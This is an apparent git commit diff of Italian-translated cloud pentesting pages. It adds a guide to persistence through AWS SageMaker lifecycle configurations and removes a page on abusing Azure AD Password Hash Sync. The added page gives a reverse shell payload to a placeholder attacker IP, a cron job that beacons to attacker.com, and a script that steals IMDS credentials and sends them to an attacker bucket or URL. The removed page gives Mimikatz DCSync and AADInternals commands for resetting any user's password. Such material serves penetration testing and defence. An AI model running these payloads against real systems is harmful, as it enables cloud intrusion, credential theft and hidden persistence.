Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sagem

This commit is contained in:
Translator
2025-07-22 12:35:53 +00:00
parent 990158d2ad
commit d826384d5f
5 changed files with 262 additions and 117 deletions

View File

@@ -0,0 +1,156 @@
# AWS - SageMaker Lifecycle Configuration Persistence
## Panoramica delle Tecniche di Persistenza
Questa sezione delinea i metodi per ottenere persistenza in SageMaker abusando delle Configurazioni del Ciclo di Vita (LCC), inclusi reverse shell, cron job, furto di credenziali tramite IMDS e backdoor SSH. Questi script vengono eseguiti con il ruolo IAM dell'istanza e possono persistere attraverso i riavvii. La maggior parte delle tecniche richiede accesso alla rete in uscita, ma l'uso di servizi sul piano di controllo AWS può comunque consentire il successo se l'ambiente è in modalità "solo VPC".
#### Nota: Le istanze di notebook SageMaker sono essenzialmente istanze EC2 gestite configurate specificamente per carichi di lavoro di machine learning.
## Permessi Richiesti
* Istanze di Notebook:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* Applicazioni Studio:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## Imposta la Configurazione del Ciclo di Vita sulle Istanze Notebook
### Esempi di Comandi AWS CLI:
```bash
# Create Lifecycle Configuration*
aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)
# Attach Lifecycle Configuration to Notebook Instance*
aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## Imposta la Configurazione del Ciclo di Vita su SageMaker Studio
Le Configurazioni del Ciclo di Vita possono essere collegate a vari livelli e a diversi tipi di app all'interno di SageMaker Studio.
### Livello del Dominio Studio (Tutti gli Utenti)
```bash
# Create Studio Lifecycle Configuration*
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
# Apply LCC to entire Studio Domain*
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### Studio Space Level (Spazi Individuali o Condivisi)
```bash
# Update SageMaker Studio Space to attach LCC*
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## Tipi di Configurazioni del Ciclo di Vita dell'Applicazione Studio
Le configurazioni del ciclo di vita possono essere applicate specificamente a diversi tipi di applicazioni SageMaker Studio:
* JupyterServer: Esegue script durante l'avvio del server Jupyter, ideale per meccanismi di persistenza come reverse shell e cron job.
* KernelGateway: Esegue durante il lancio dell'app del gateway del kernel, utile per la configurazione iniziale o l'accesso persistente.
* CodeEditor: Si applica all'Editor di Codice (Code-OSS), abilitando script che vengono eseguiti all'inizio delle sessioni di modifica del codice.
### Esempio di Comando per Ogni Tipo:
### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### CodeEditor
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### Informazioni Critiche:
* Allegare LCC a livello di dominio o spazio influisce su tutti gli utenti o le applicazioni nel campo di applicazione.
* Richiede permessi più elevati (sagemaker:UpdateDomain, sagemaker:UpdateSpace) tipicamente più fattibili a livello di spazio che a livello di dominio.
* I controlli a livello di rete (ad es., filtraggio egress rigoroso) possono prevenire shell inverse o esfiltrazione di dati riuscite.
## Shell Inversa tramite Configurazione del Ciclo di Vita
Le Configurazioni del Ciclo di Vita di SageMaker (LCC) eseguono script personalizzati quando le istanze del notebook vengono avviate. Un attaccante con permessi può stabilire una shell inversa persistente.
### Esempio di Payload:
```
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Persistenza dei Cron Job tramite Configurazione del Ciclo di Vita
Un attaccante può iniettare cron job tramite script LCC, garantendo l'esecuzione periodica di script o comandi malevoli, abilitando una persistenza furtiva.
### Esempio di Payload:
```
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"
mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## Esfiltrazione delle Credenziali tramite IMDS (v1 & v2)
Le configurazioni del ciclo di vita possono interrogare il servizio di metadati dell'istanza (IMDS) per recuperare le credenziali IAM ed esfiltrarle in una posizione controllata dall'attaccante.
### Esempio di Payload:
```bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
# Exfiltrate via S3*
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
# Alternatively, exfiltrate via HTTP POST*
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```

View File

@@ -1,114 +0,0 @@
# Az - PHS - Password Hash Sync
{{#include ../../../../banners/hacktricks-training.md}}
## Informazioni di base
[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronizzazione dell'hash della password** è uno dei metodi di accesso utilizzati per realizzare l'identità ibrida. **Azure AD Connect** sincronizza un hash, dell'hash, della password di un utente da un'istanza di Active Directory on-premises a un'istanza di Azure AD basata su cloud.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
È il **metodo più comune** utilizzato dalle aziende per sincronizzare un AD on-prem con Azure AD.
Tutti gli **utenti** e un **hash degli hash delle password** vengono sincronizzati dall'on-prem a Azure AD. Tuttavia, le **password in chiaro** o gli **hash originali** non vengono inviati a Azure AD.\
Inoltre, i gruppi di sicurezza **integrati** (come gli amministratori di dominio...) **non vengono sincronizzati** con Azure AD.
La **sincronizzazione degli hash** avviene ogni **2 minuti**. Tuttavia, per impostazione predefinita, la **scadenza della password** e la **scadenza dell'account** **non vengono sincronizzate** in Azure AD. Quindi, un utente la cui **password on-prem è scaduta** (non cambiata) può continuare ad **accedere alle risorse Azure** utilizzando la vecchia password.
Quando un utente on-prem vuole accedere a una risorsa Azure, l'**autenticazione avviene su Azure AD**.
**PHS** è necessario per funzionalità come **Identity Protection** e AAD Domain Services.
## Pivoting
Quando PHS è configurato, alcuni **account privilegiati** vengono automaticamente **creati**:
- L'account **`MSOL_<installationID>`** viene automaticamente creato in AD on-prem. Questo account riceve un ruolo di **Directory Synchronization Accounts** (vedi [documentazione](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) che significa che ha **permessi di replicazione (DCSync) nell'AD on-prem**.
- Un account **`Sync_<nome del server ADConnect on-prem>_installationID`** viene creato in Azure AD. Questo account può **reimpostare la password di QUALSIASI utente** (sincronizzato o solo cloud) in Azure AD.
Le password dei due precedenti account privilegiati sono **memorizzate in un server SQL** sul server dove **Azure AD Connect è installato.** Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro.\
Il database si trova in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
È possibile estrarre la configurazione da una delle tabelle, essendo una criptata:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
La **configurazione criptata** è criptata con **DPAPI** e contiene le **password degli utenti `MSOL_*`** in AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo questi è possibile ottenere privilegi elevati nell'AD e in AzureAD.
Puoi trovare una [panoramica completa su come queste credenziali sono memorizzate e decrittografate in questo intervento](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Trovare il **server Azure AD connect**
Se il **server dove è installato Azure AD connect** è unito al dominio (raccomandato nella documentazione), è possibile trovarlo con:
```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### Abusare di MSOL\_*
```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!CAUTION]
> Puoi anche usare [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) per ottenere queste credenziali.
### Abusare di Sync\_\*
Compromettendo l'account **`Sync_*`** è possibile **reimpostare la password** di qualsiasi utente (inclusi gli Amministratori Globali)
```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```
È anche possibile **modificare le password solo degli utenti cloud** (anche se ciò è inaspettato)
```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```
È anche possibile estrarre la password di questo utente.
> [!CAUTION]
> Un'altra opzione sarebbe **assegnare permessi privilegiati a un service principal**, che l'utente **Sync** ha **permessi** per fare, e poi **accedere a quel service principal** come modo di privesc.
### Seamless SSO
È possibile utilizzare Seamless SSO con PHS, che è vulnerabile ad altri abusi. Controllalo in:
{{#ref}}
seamless-sso.md
{{#endref}}
## Riferimenti
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
{{#include ../../../../banners/hacktricks-training.md}}